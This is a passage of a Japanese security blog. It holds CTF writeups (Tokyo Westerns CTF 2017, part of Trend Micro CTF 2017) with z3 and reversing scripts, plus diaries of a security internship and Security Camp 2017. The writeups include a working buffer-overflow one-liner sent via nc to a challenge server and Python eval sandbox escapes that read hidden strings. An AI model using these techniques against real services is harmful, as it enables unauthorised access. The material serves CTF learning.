    psadbw8 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - 0x00) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw9 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - 0x00) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw8 == 0x278)
    solver.add(psadbw9 == 0x27b)

    t7  = 0x78
    t15 = 0x7b

    psadbw10 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - 0x00) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw11 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - 0x00) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw10 == 0x233)
    solver.add(psadbw11 == 0x1f9)

    t7  = 0x33
    t14 = 0x01
    t15 = 0xf9

    psadbw12 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - 0x00) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw13 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - 0x00) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw12 == 0x291)
    solver.add(psadbw13 == 0x25e)

    t7  = 0x91
    t14 = 0x02
    t15 = 0x5e

    psadbw14 = get_abs(t0 - s[2]) + get_abs(t1 - 0x00) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw15 = get_abs(t8 - s15) + get_abs(t9 - 0x00) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw14 == 0x255)
    solver.add(psadbw15 == 0x229)

    t7  = 0x55
    t15 = 0x29

    psadbw16 = get_abs(t0 - 0x00) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw17 = get_abs(t8 - 0x00) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw16 == 0x270)
    solver.add(psadbw17 == 0x211)

    t7  = 0x70
    t15 = 0x11

    if solver.check() == sat:
        m = solver.model()
        print m

        flag = ''
        for i in s:
            flag += chr(m[i].as_long())

        print "\nflag: flag{%s}" % flag
    else:
        print "Not found."



if __name__ == '__main__':
    main()
$ python solve.py
[s_0 = 52,
 s_6 = 95,
 s_2 = 51,
 s_3 = 97,
 s_4 = 108,
 s_10 = 51,
 s_11 = 95,
 s_8 = 48,
 s_7 = 109,
 s_9 = 100,
 s_5 = 122,
 s_12 = 121,
 s_13 = 48,
 s_1 = 114]

flag: flag{4r3alz_m0d3_y0}

まとめ

z3の書き方,よくわからない部分が多い.

解けなかった問題に関しては,

pilot (Pwn75):オーバーフローさせてシェルコード実行させようとしたらできなくて,gdbで見てみたらシステムコールを呼ぶ直前でコードが変わるという謎の現象が起きたりしてた.よくわからん.

Missed Registration (Forensics150):nの値とxの値 is 何.末尾に何か付いてたけどわからん.

Gopherz (Reversing350):Gopherというプロトコルを初めて知った.なんの成果も得られませんでした.

Tokyo Westerns CTF 3rd 2017 Writeup

開催期間(JST)

09/02 AM9:00 ~ 09/04 AM9:00

結果

・チーム名:wabisabi

・得点:213pt

・順位:得点したチーム中,133/901

解いた問題

・Just do it!

・Rev Rev Rev

・pplc: private

・pplc: local

・pplc: comment

取り組んだが解けなかった問題

・Let’s go!

はじめに

実際に集まることはなかったのですが,slackでちょいちょいやり取りしながらチームメンバーのkobadとよね君と一緒に参加してました.

Warmupは全部解きたいねって話をメンバーにしたのですが,cryptoの1問が残ってしまいました.cryptoちょっと見てみたけどrevやりたかったのでそっと閉じました.

途中,ちょっと遠くに美味しいラーメンを食べに行ったり,翌日の日曜は近所の高校の学園祭にお邪魔して遊んでたりしてて,夕方帰ってきてから朝まで気合でLet’s go!のバイナリを読んでた,そんな感じのCTFでした.

Writeup

Just do it!

やるだけ問でした.

実行するとこんな感じ.flag.txtを作る必要がある.

$ ./just_do_it56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
Welcome my secret service. Do you know the password?
Input the password.
hoge
Invalid Password, Try Again!

flagを中で読み込んでるけど,出力はしないみたいな感じで,あとBoFがある.

オーバーフローした先がputsで入力値を出力する場所だったので,オーバーフローさせてからputsに渡すアドレスをflagのある場所に変えるだけ.

$ echo -e "AAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08" |./just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
Welcome my secret service. Do you know the password?
Input the password.
FLAG{xxxx}

これをリモートに送ってやるとflagが貰える.

$ echo -e "AAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08" |nc pwn1.chal.ctf.westerns.tokyo 12345
Welcome my secret service. Do you know the password?
Input the password.
TWCTF{pwnable_warmup_I_did_it!}

Rev Rev Rev

一番最初に解いた問題でした.

$ ./rev_rev_rev-a0b0d214b4aeb9b5dd24ffc971bd391494b9f82e2e60b4afc20e9465f336089f
Rev! Rev! Rev!
Your input: hoge
Invalid!

crackme系の問題っぽい.

確か,最初に入力値から改行を取り除き,その文字列を反転して,さらに2回ほど暗号化っぽいことをやってた気がする.

で,それがとある文字列と等しいかどうか判定している.

最初に思いついたのが,アルファベットと数字を全て入力して,生成される文字列からテーブルみたいなのを作って,あとは読むだけ,みたいなやり方.

最初にABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzと入力しようとしたら,確か文字列の制限があって,小文字大文字に分けて出力結果をメモっていった.

結果,プログラム書くより手でやったほうが早そうだったので,こんな感じになった↓

0xd5, 0x15, 0x3d, 0xd5, 0x9d, 0x21, 0x71, 0xf1, 0xa1, 0x69, 0x31, 0x61, 0xdd, 0x89, 0xb9, 0x49, 0xb9, 0x09, 0xa1, 0x13, 0x93, 0x09, 0x19, 0xc9, 0xe1, 0xf1, 0xa1, 0x65, 0xd9, 0x29, 0x41
T     W     C     T     F     {     q     p     z     i     s     y     D     n     b     m     b     o     z     7     6     o     g     l     x     p     z     Y     d     k    }

ABCDEFGHIJKLMNOPQRSTUVWXYZ
0x7d, 0xbd, 0x3d, 0xdd, 0x5d, 0x9d, 0x1d, 0xed, 0x6d, 0xad, 0x2d, 0xcd, 0x4d, 0x8d, 0x0d, 0xf5, 0x75, 0xb5, 0x35, 0xd5, 0x55, 0x95, 0x15, 0xe5, 0x65, 0xa5

abcdefghijklmnopqrstuvwxyz
0x79, 0xb9, 0x39, 0xd9, 0x59, 0x99, 0x19, 0xe9, 0x69, 0xa9, 0x29, 0xc9, 0x49, 0x89, 0x09, 0xf1, 0x71, 0xb1, 0x31, 0xd1, 0x51, 0x91, 0x11, 0xe1, 0x61, 0xa1


1234567890
0x73, 0xb3, 0x33, 0xd3, 0x53, 0x93, 0x13, 0xe3, 0x63, 0xf3
TWCTF{qpzisyDnbmboz76oglxpzYdk}

pplc: private

自分は初めてみる形式の問題で,脳トレっぽくて楽しめました.

pythonソースコードが渡されます. あと,このプログラムが動いているサーバがあります.

import sys
from restrict import Restrict

r = Restrict()
# r.set_timeout()

class Private:
    def __init__(self):
        pass

    def __flag(self):
        return "TWCTF{CENSORED}"

p = Private()
Private = None

d = sys.stdin.read()
assert d is not None
assert "Private" not in d, "Private found!"
d = d[:24]

r.seccomp()

print eval(d)

問題の概要としては,Privateの中にある__flag関数を呼んでフラグを取ってね,みたいな感じ.

そんなの普通に呼べばいいやんけってわけにはいかなくて,pythonにはprefixとしてアンダースコア2つで関数を定義すると,マングリング機構というものが働いて,メソッド名が_クラス名__メソッド名に変換されるので,元の名前では呼ぶことができなくなります.

そう,元の名前では呼べないだけで,変換された名前で呼んであげれば勝ちです.

しかし,assertが働いているので “Private” という文字列を入力することができません.

ここで,先日参加したkatagaitai勉強会のXSS千本ノックで学んだXSS的思考が役に立ちました.

まず,dir(p)でpオブジェクトのメソッド一覧を調べます.

すると,変換された名前である “_Private__flag” が第1要素として格納されているので,これを使います.

eval("p."+dir(p)[0]+"()")

これで,一度式が評価されて “p._Private_flag()” という文字列が生成されてから,再度元々のevalにより関数として評価されて勝ち!って思ったんだけど,これは25文字になってしまい,24文字制限があるこの問題では最後の “)” が入力されない.

ここで結構悩んでいたのですが,文字列の中で変数展開的なことできなかったっけ?と思って,

eval('p.%s()'%dir(p)[0])

こう書いてみたら24文字ぴったりでした.

$ ncat ppc1.chal.ctf.westerns.tokyo 10000
eval('p.%s()'%dir(p)[0])

TWCTF{__private is not private}

参考:

d.hatena.ne.jp

pplc: local

ソースコード

import sys
from restrict import Restrict

r = Restrict()
# r.set_timeout()

def get_flag(x):
    flag = "TWCTF{CENSORED}"
    return x

d = sys.stdin.read()
assert d is not None
d = d[:30]

r.seccomp()

print eval(d)

get_flagの中で定義されているローカル変数であるflagを読みだす問題.

無理ゲーやろって思って,過去問見ながら調べてたら去年はRubyの問題でデバッグ関係の関数が役に立ったというのを見て,調べてたけどダメ.

さっきみたいにdirでget_flagのメソッド取り出してアクセスできないかなと調べてたら以下のサイトが役に立った.

関数オブジェクトと属性 - 愚鈍人

dir(get_flag.func_code)でメソッド全部出して,それっぽいのを見ていきました.

dir(get_flag.func_code)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

get_flag.func_code.co_argcount
1

get_flag.func_code.co_code
d}|S

$ get_flag.func_code.co_consts
(None, 'TWCTF{CENSORED}')

$ ncat ppc1.chal.ctf.westerns.tokyo 10001
get_flag.func_code.co_consts
(None, 'TWCTF{func_code is useful for metaprogramming}')

pplc: comment

ソースコード

import sys
from restrict import Restrict

r = Restrict()
# r.set_timeout()

d = sys.stdin.read()
assert d is not None
d = d[:20]

import comment_flag
r.seccomp()

print eval(d)
'''
Welcome to unreadable area!
FLAG is TWCTF{CENSORED}
'''

メモリ上の値をどうにかして呼び出すのかな~とか思ってimport gc; gc.get_objects()とかをやろうとしていたのですが,evalは文を評価してくれないため詰み.

localを解いた後だったので,さっきみたいなところに入ってたりしないかな~と適当に見ていったら見つかって拍子抜けした.

dir(comment_flag)
['__builtins__', '__doc__', '__file__', '__name__', '__package__']

comment_flag.__doc__

Welcome to unreadable area!
FLAG is TWCTF{CENSORED}

$ ncat ppc1.chal.ctf.westerns.tokyo 10002
comment_flag.__doc__

Welcome to unreadable area!
FLAG is TWCTF{very simple docstring}

__doc__に入るっぽい

取り組んだが解けなかった問題

Let’s go!

golang x crackme な感じのやつでした.

絶対解くぞと思って朝までやっててもできなかったので,途中までやったことを書いていきます.

$ file lets_go
lets_go: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

一見普通のELFっぽいですが,中を見てみると見慣れない関数とかがあって調べてみたらgolangで書かれたものでした.(Let’s go!という問題文も納得)

passwordとなる文字列をコマンドライン引数で渡して実行する形式.

$ ./lets_go hoge
Failed... ;(

まずはpasswordを比較しているところを探すことから始めました.

あと,golangバイナリの読み方?的なことも調べつつ.

main.mainから読んでいきます.

main.mainはこんな感じです.

f:id:ywkw1717:20170904153815j:plain

このプログラムは引数がちゃんと渡されていたら,テーブルの生成とパスワードチェックの関数が実行されるようになっています.

テーブルは,後ほど出てくる暗号化で使われているテーブルです.

main.UhoCh5ooSeith0ee7Ienで生成されているのですが,詳細な動作を読む必要は無さそう.

結果として,

WPnq7JEM2AskwjoX3VRx9aHbiYfd4#Zp05TUGc1SBCFNgvhz8rQl6@ytIKumDeOL

というテーブルが生成されます.

テーブルが生成された後,main.mainにてmain.Xerei4oreeshex6zien0という関数が実行されます.

0x492a5c <main.main+140>: call   0x491fa0 <main.Xerei4oreeshex6zien0>

この関数はパスワードチェックやFLAGが正しいかどうかのチェックも担っているチェック関数みたいなやつです.

こいつの内部でcallされている関数の中で重要な関数がmain.Wuyeiqua4ievohR4ahngです.

入力値やテーブルなどを受け取ってなんかやってます.

これを実行すると戻り値として暗号化っぽい処理を施された文字列が返ってきます.

その後,その戻り値がR6aYb@VboTG==かどうかで分岐しているので,main.Wuyeiqua4ievohR4ahngをもっと詳しく読む必要があります.

main.Wuyeiqua4ievohR4ahngでは,入力値を2進数化してから,

0x491d70:    e8 cb 40 fc ff          call   455e40 <strconv.ParseInt>

ここで,その値をパースしています.確か引数として6とかを渡していて,”先頭から6文字づつ取り出す”とかそんな挙動になると思います.

そして,

0x491d8b:    48 8b 94 24 e0 00 00    mov    rdx,QWORD PTR [rsp+0xe0] # rdx = table
0x491d92:   00
0x491d93:   0f b6 04 02             movzx  eax,BYTE PTR [rdx+rax*1] # eax = table[rax]

ここで,ParseIntの結果をtableのインデックスとして用いて,tableから1文字取り出す,ということをやっています.

つまり,'A'という入力値が与えられた場合,まず'A'の2進表現として01000001に変換され,先頭から6文字である'010000'が取り出される.

これは10進数で16なので,table[16]である3が取り出され,残りの01に対しても6bitに拡張される?からなのか,010000となり,同じようにtable[16]である3が取り出されます.

そして,1回目のjoinで結合されて'33'になり,2回目のjoinでパディングが付与されて'33===‘になる,みたいな挙動をします.

6bitで区切って末尾にパディングはイメージ的にはbase64っぽい.

そこで,何をすればパスワードが求まるかというと,"R6aYb@VboTG==“のそれぞれの文字に対してtableからインデックスを求めてからそれを2進数化、そして8文字区切りで読んでいけば読める、パディングは無視します.

tableにおけるRの位置は18, 6は52,,,,,これを続けていき,求まった値をスクリプトに書いてパスワードを求めました.

#!/usr/bin/env python
import sys


def main():
    password = [18, 52, 21, 25, 23, 53, 17, 23, 14, 34, 36]  # "R6aYb@VboTG"
    pass_bin = ""

    for i in password:
        pass_bin = pass_bin + format(i, 'b').zfill(6)

    for i in range(len(pass_bin)/8):
        sys.stdout.write(chr(int(str(pass_bin[i*8:i*8+8]), 2)))


if __name__ == '__main__':
    main()

すると,"KEY_TW:)“というパスワードが求まります.

ここからが本題で,求まったパスワードを元に実行すると,

$ ./lets_go "KEY_TW:)"
Input FLAG: hoge
Failed... ;(

このように,渡されたFLAGの値を正しいかどうかチェックするようになります.

読むべき場所はここ

0x4924ab <main.Xerei4oreeshex6zien0+1291>:  call   0x491a80 <main.f1151e71905f3d94b49b0>

この関数,渡されたパスワードを元にゴニョゴニョやっているので,パスワードについては分岐を潰すだけではダメで,実際に↑で書いたように正しい値を求める必要があります.

この関数に入る前に,

0x4923cf <main.Xerei4oreeshex6zien0+1071>: cmp    rcx,0x30 // 入力値は48文字
0x4923d3 <main.Xerei4oreeshex6zien0+1075>: jne    0x4926e6 <main.Xerei4oreeshex6zien0+1862> // 48文字ではなかったらExit

ここでFLAGの文字数を48文字でなかったらFailedになる処理があるので,適当に48文字与える必要があります.

ここでは”TWCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}”という文字列を与えます.

(ここら辺から言っていることが正しいのか自信がないので間違ってたら申し訳ない)

では先ほど出てきたmain.f1151e71905f3d94b49b0がなにをしているのかというと,渡された48文字を先頭から8文字取り出して,

'TWCTF{AA'[0] + 'KEY_TW:)'[0]

まず,この値を求めます. そして,スタック上にできているtable(先ほどとは違うもの)に対して,この値をインデックスとして取り出す.

取り出した値に,TWCTF{AAの'W'を加えて,それをRCXに格納.

RCX = table[ 'TWCTF{AA'[0] + 'KEY_TW:)'[0] ] + 'TWCTF{AA'[1]
rol cl, 1

最後にRCXの下位8bitをrolしてから,RCXの下位8bitを"TWCTF{AA"の指定の場所に格納して"TdCTF{AA"になってそのまま32回繰り返すので,次に"Td,TF{AA"となり,これがどんどん繰り返されて最終的に64bitのよくわからない値になります.

そして,main.f1151e71905f3d94b49b0からretして

0x492574 <main.Xerei4oreeshex6zien0+1492>: call   0x464780 <reflect.DeepEqual>

にて,値が正しいのか確かめていると思う.

この処理を計6回行って48文字の正誤を検証しているっぽいです.

で,DeepEqualにてどんな値とそれぞれ比較されているのかというと

1回目:0x48fd9fdd395cfe4a
2回目:0x555ed4725bde6cf0
3回目:0xb492d5de09fa160
4回目:0x9c326531f39e320e
5回目:0x5eecc9092cef233d
6回目:0x10b4e73f5fd73945

つまり,これがFLAGっぽいです.

Z3使えば答えが求まるかなと思って,少しづつ書いていたのですが,できずにタイムアップしました.

他の方のWriteupを読みたいと思います…

まとめ

解けた中で一番面白かったのはpplc,解けなかったけど一番時間をかけたのはLet’s go!でした.

Let’s go!が解けていれば順位が2桁だったので悔しさがある…

リケジョじゃないけどリケジョのサマーインターンに参加してきた

はじめに

株式会社ラックさんで行われた「夏のリコチャレ2017 リケジョのサマーインターン第二弾」に参加してきました.

頂いたパンフレット.

1dayインターンってやつでした.

リケジョじゃないのに参加できたのは,第二弾は男女どちらでも参加可能だったからです!

なにをしてきたのか

JSOCを見学できたのと,マルウェア解析をやりました.何をやったかは詳しく書けないので,感想と簡単なまとめだけ書いていきます.

朝から人身事故が起きてたり.何番線に行けばいいかわからなかったりしましたが.なんとか辿り着けました.

会場に到着して名前と大学名を伝えたら名札的なのを貰いました.

なにをやってる会社なのかとか歴史とかを聞いて,初めてLACという社名がLittle eArth Corporationの略だということを知りました.

JSOCが大体何件のログを処理しているかとか,そういうデータ的なお話も聞けたり.LACのFalconのお話も聞けて.Falconが処理しているログの多さに驚きました.

その後はマルウェア解析をするための準備的なのをやってから昼食でした.

昼食ではCTFerの方と今年のGoogle CTFのmindreaderわろた的な話をしたり.社員さんの中で僕と地元がほぼ一緒の人がいたりして.親近感を覚えていました.

驚いたのが,昼食を食べ終わって部屋に戻ろうとしたら講師の方にセキュキャンのことでお声をかけて頂いて,セキュキャンパワーすごいなと思いました.(名前負けしないようにしっかり実力をつけないと…)

昼食の後はJSOCを見学しました.

実は存在すら知らなかったJSOCでしたが…見学してみると働いてる人たちが皆さんプロって感じで格好良くて見入ってました.

去年からリニューアルしたらしくて,去年までの真っ黒なサイバーな感じも格好良いのですが,それはそれで不都合があるようで,陽の光が入らないという致命的な欠点があったっぽいです.

今はホワイトなカラーで,ホワイトハッカーをイメージしているんだとか.

その後はいよいよマルウェア解析で.ちょめちょめといろんな事をやってました.

講師の方の説明がわかりやすくてとても丁寧だったので詰まるところはありませんでした.

最後に海外や日本のイベントの紹介があって.REconは初めて知りました.

まとめ

JSOCを見学してプロが実際に働いている現場を生で見ることができたのは,とても貴重な経験でした.

マルウェア解析のハンズオンもわかりやすく丁寧に教えて頂き,きっかけ作りという講義ではなくてしっかりと技術を身につける講義だったので,様々な知見を得ました.

セキュキャンが終わり,インターンが終わり,残すイベントは来週のkatagaitai勉強会ぐらいで,あとはみっちり勉強しようと思ってます.(バイトもしなきゃ)

以上.

セキュリティ・キャンプ全国大会2017に参加して最高の5日間を過ごした話

はじめに

参加してきました.噂に聞いてた通り最高のキャンプでした.

セキュリティ・キャンプってなにって人向けにIPAのサイトを.

www.ipa.go.jp

最高レベルの講師に最高の講義をして頂いて最高の体験を得るようなキャンプです.

応募用紙を書いて合格を頂けると行くことができます.

僕が書いた応募用紙はこちらです.

ywkw1717.hatenablog.com

今回CEDEC CHALLENGEという,SECCON2017の地方大会と日程が少し被っていてつらかったのですが,行きの新幹線とか初日の夜とかに逆アセンブル結果を見ながら頑張ってました.スライドは15日の夜までで,明らかに作る時間がないので最終日に先輩に丸投げしてしまった…

キャンプ自体はどうだったのかというと,参加中はその日の終わりに1日の出来事などをまとめていたりしました.

1日目

起きれました.

新幹線や電車で会場へ向かいます.

Tシャツはポプテピピックでした.

会場到着!!!

12時前だったけど会場に行ってみたら受付が始まってて,早めに受付ができました.

ホテルがめっちゃ豪華

荷物を預けてから部屋に行ってみると,まだ少人数だったけど名刺交換大会が始まってたようで,自分もすぐ参加しました.

初っ端に交換した人がhiwwさんでビビった.Harekazeステッカーを貰いました.嬉しかった.

その後も名刺を交換しまくっていると,誰と交換したかがわからなくなる問題が発生.

去年のCODE BLUE 学生スタッフ勢がチラホラいて久しぶりに会って話せたので嬉しかったです.

昼食は班員に講師やチューターの方を交えて食べました.美人な女性の隣の席になり緊張していたら,なんとその人がはいひるさんで,ビビった.後はA7のファジング実習の講師をやるSymantecの山下さんと班員のかきのたね君とご飯を食べました.カレーだったんですが,だいぶ辛かった.

ご飯を食べた後は,開会式とかセキュリティ基礎とかチューターさんのプレゼンとか特別講義が2つあったりしました.(途中睡魔と戦っていたのは内緒)

チューターさん3人からプレゼンがあったのですが,みなさんぶっ飛んでる人しかおらず,すごいなぁという感想しか出てきませんでした.

特別講義は「凝ったう〇この話」と「フォレンジックの話」でした.

夕食は鳥の照り焼き.班員の人達と食べました.美味かった.

夜はグループワーク.プロ達にヒアリングして周っていました.

2日目

7時過ぎに起きました.

朝食チャレンジも成功.

Tシャツは配られた2017キャンプTシャツを早速着たのですがこれが失敗.

だれも着ている人がいなくて、めっちゃ調子乗ってるやつみたいになってました!

講義は,

の2つ.

初日が一番辛そうだなと思ってたんですが,思った通り大変でした.

D1 Linuxカーネルを理解して学ぶ 脆弱性入門

講師は小崎さん.序盤は楽だったんですが,後半がなんとなくで理解しているところが多く,細部まで詳細に理解できたという講義ではありませんでした.演習問題があったのですが,結構解けない問題ばかりで苦戦してました.入門というのは本当の初心者が来たらどうするかとか,そこら辺の「どこに合わせるのか」という難易度を設定するの難しそうだなぁと思ったりしました.

D2-D3 カーネルエクスプロイトによるシステム権限奪取

講師はるくすさん.相当難しいと言われていた講義で,恐る恐る挑みましたが,実践的なことが多くて楽しかったです.netconsoleのところでよくわからない問題に当たり,チューターさん方に助けていただきました,ありがとうございました.(最後に/がなかったのが原因)プログラムを少し書く演習があって,時間はかかりましたが実装することができて感動していました.カーネルエクスプロイトの一端に触れた経験を今後少しでも活かしていきたいです.

昼食はゆーくんやmiyagawa君やかきのたね君やぷろとんさんと食べました.

夕食は同じ大学のこばと食べました.

早めに寝ました.

3日目

7時過ぎに起きることができて,8時ギリギリに朝食も食べれました.朝食はこばと,hiwwさんとゆーくんとかはいひるさんとかと食べました.

講義は,

の2つ.

オールマルウェアdayなのでマルウェアの気持ちになって受講しました.

D4 マルウェア機械学習

講師は村上さん.機械学習は経験がなかったのですが,検知手法に興味があったので受講しました.「機械学習とは」から始まり,マルウェアを検知するための特徴量の抽出などのアイデア出しをグループで行ったりしていました.その後実際に自分で決めた特徴量を用いて検知率がどのくらいか,などを検証していました.VMのイメージのダウンロードが遅すぎて進まなかったりしていましたが,チューターさんのはっぴーのーとさんに助けて頂きました,ありがとうございました.やっぱり機械学習は,これから自分に必要な知識になってきそうな予感.

D5 The Anatomy of Malware

講師は中津留さん.これも結構人気の講義で自分も楽しみにしていました.(講義資料を最後のほう読むの忘れていて焦った)ひたすら静的解析をする講義で,マルウェアに興味は持ちつつもまだ解析はしたことがなかった自分にとって,いいきっかけになったのではないかと思います.最後にやった演習では,どのようなことを行っているルーチンなのかを当てることができて嬉しかったです.今後マルウェア解析にのめり込んでいきたい!

昼食はD4を受講してた游び人さんと高専の方と食べて,女の子の話をしたりして楽しかったです.

夕食は講師やチューターさん,外部の方と混ざって食事をするはずが,人数の関係で参加者の方1人しかいなく,その人と楽しくお喋りしていました.

BoFは「ゲスリティキャンプ」と「サイバー空間へようこそ」にしました.

どちらも新鮮なお話でした.

企業プレゼンテーションはNEC日本電気)さん.

「サイバー空間へようこそ」の人でした.(この人と実はCODE BLUEの学生スタッフをやった時も会っており,3回同じ話を聞いたので内容は完璧になった)

誰もやらないようなことをやっている人で,サイバーだけに特化するのではなく,他の知識も身につけておこうということを学びました.

あとはグループワークをちょこっとやって3日目は終了.

4日目

いつ通り遅めに起きて,朝食を食べました.この日はぼっち飯をキメました.

講義は,

  • B6 AVRマイコンで作るBadUSB工作・改

  • B7 ゲームセキュリティ入門

の2つ.

B6 AVRマイコンで作るBadUSB工作・改

講師は竹迫さん.BadUSBは以前作ろうとしたのですが,対策されているUSBしかなくて諦めていたので今回受講しました.最初は竹迫さんのマインスイーパーを自動で解くやつを生で見ることができました.LTの動画で見たことがあったので,「マインスイーパーのやつだ!」と思ったりしていました.この講義は手を動かす時間がほとんどで,ひたすらBadUSBを作っていました.自分はデスクトップ上に空ファイルを大量に作るものを作ろうとしたのですが,連番のファイル名を作るやり方がわからず,結局完成せず…でも,自動で動く様は見ていてとても面白かったです.

B7 ゲームセキュリティ入門

講師は愛甲さん.愛甲さんはめっちゃ尊敬していて,生で見るのはCODE BLUE以来でしたが,振る舞いというか佇まいというか,とにかくかっこよかったです.講義は演習が中心で,途中で解説が少し入ったり,そんな感じでした.一番聞いていて面白かったのが,あるゲームを解析していた時の話で,愛甲さんがどのように解析したかを聞くことができてとても参考になりました.CEDEC CHALLENGEの前に受講したかった講義でした.

昼食は游び人さんとすずきゃんさんと食べました.

夕食はこばとソフトバンクの方お二人と食べたのですが,意外な繋がりがあったりして,世間は狭いな~という感じでした.

企業プレゼンテーションは富士通さんでした.喋っていた人が坂井さんという名字で,講師の坂井さんとお二人で質疑応答されていて,中の話とかを伺うことができました.

グループワークはいい感じに進捗が出ました.

その後サプライズプレゼントとして,本やグッズがあり,好きなのを2つ取っていいということ.

しかし順番が年齢が若い順ということで,22歳の僕は無事死亡して,貰えたのは「かるた」だけでした.

大人はつらい!!!!!!!

その後,少しだけグループで作業してスライドを作っていました.

5日目

荷造りをしていたら寝るのが3時になってしまって,4時間しか寝られませんでした.それでも最終日朝食チャレンジは成功したので,オール朝食コンプリートです.

グループワークから始まり,少し作業した後は各チームの発表を聞いていました.

自分のチームの発表者の安定感が凄く,自分にはできないな~と思っていました.

発表内容やスライドの綺麗さ,面白さなどがずば抜けてるな~と思ってたチームがその後優勝していて,だよな~という感想でした.

昼食は班員の方達と食べました.

閉会式で印象に残った言葉がいくつかあって,川口さんの「情報は発信する人に集まる」という言葉と,宮本さんの「寄り道を楽しむ」という言葉です.

川口さんの話を聞いて,これからも情報を発信していこうと思いましたし,宮本さんの話は,まさにいろいろ寄り道をしていた自分にとって結構心に残りました.

あとは写真撮影で集合写真を撮って終わり.

帰りはサケリティキャンプ(お酒)なるものが行われるらしかったのでどうしようかと迷った結果,結局前日の徹夜などから帰ることにしました.

まとめ

参加する前は,なにかやりたいことが決まればいいなぁと思って参加していました.

そして参加後,今後やっていこうと思ったことがあって,目標は達成できたのかなと思います.

その他にチューターとかにも興味は湧いて,いつかこんな自分でもやれる日が来たらいいなぁと弱気でいます.

上野さんが仰っていた通り,セキュキャンに参加すること自体はそんなに凄くなくて,その後の活動が大事だと思うので,モチベを落とさずやっていこうと思います.

講師の方々,チューターの方々,事務局の方々,その他関係者の方々,本当にありがとうございました!

Trend Micro CTF 2017 - Raimund Genes Cup - Online Qualifier Writeup(rev100)

開催期間(JST)

06/24 PM1:00 ~ 06/25 PM1:00

結果

・チーム名:wabisabi

・得点:200pt

・順位:得点したチーム中,175/294

解いた問題

・rev100

取り組んだが解けなかった問題

・Analysis-Offensive100

・rev200

・IoT/OSINT/SCADA100

はじめに

参加してました.用事があったりで全部の時間は使えなかったけど割と楽しかった.

1問しか解けてないのはいつものこと.(1問アシストしたので1.5問みたいな感じだから・・・)

Writeup

rev100

配布されるファイルは,AESで暗号化されたものが渡される感じだった.復号してからfileコマンド.

$ file pocket
pocket: Zip archive data, at least v2.0 to extract

解凍するとbiscuitという名前のrarで圧縮されたファイルがでてくる.

$ unrar e biscuit

biscuit1というPE32のものと,biscuit2というpasswordつきzipの2つのファイルがでてくる.

biscuit1を実行してみる.

$ ./biscuit1
Please find sweets name starting from m for biscuit2.

mから始まるお菓子・・・と思い調べた結果,マカロンではと思い"macaron"で解凍してみるといけた.

Archive:  biscuit2
[biscuit2] biscuit4 password:
  inflating: biscuit4
  inflating: biscuit5
  inflating: biscuit3

biscuit3はjpgだったのでとりあえずExifを見てみるが,特に何もない.

stringsしてみると,末尾にzipがついているのがわかる.binwalkが手っ取り早いので,

$ binwalk -e biscuit3

すると,"cream"と書かれたbiscuit.txtがでてくる.

biscuit4を見る.これはテキストファイル.

$ cat biscuit4
Please create flag.

hint:

Flag = TMCTF{biscuit3_ biscuit5}

biscuit3のほうは手に入っているので,biscuit5をみていく.

$ file biscuit5
biscuit5: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

実行しても特に何も表示されない.

objdumpで逆アセンブルして読んでみると,"biscu"という文字列を使って_shift_charという関数でゴニョゴニョやってる.

静的解析が辛くなったので,IDAのデモ版で実行しながらみていくことにした.

f:id:ywkw1717:20170625185419p:plain

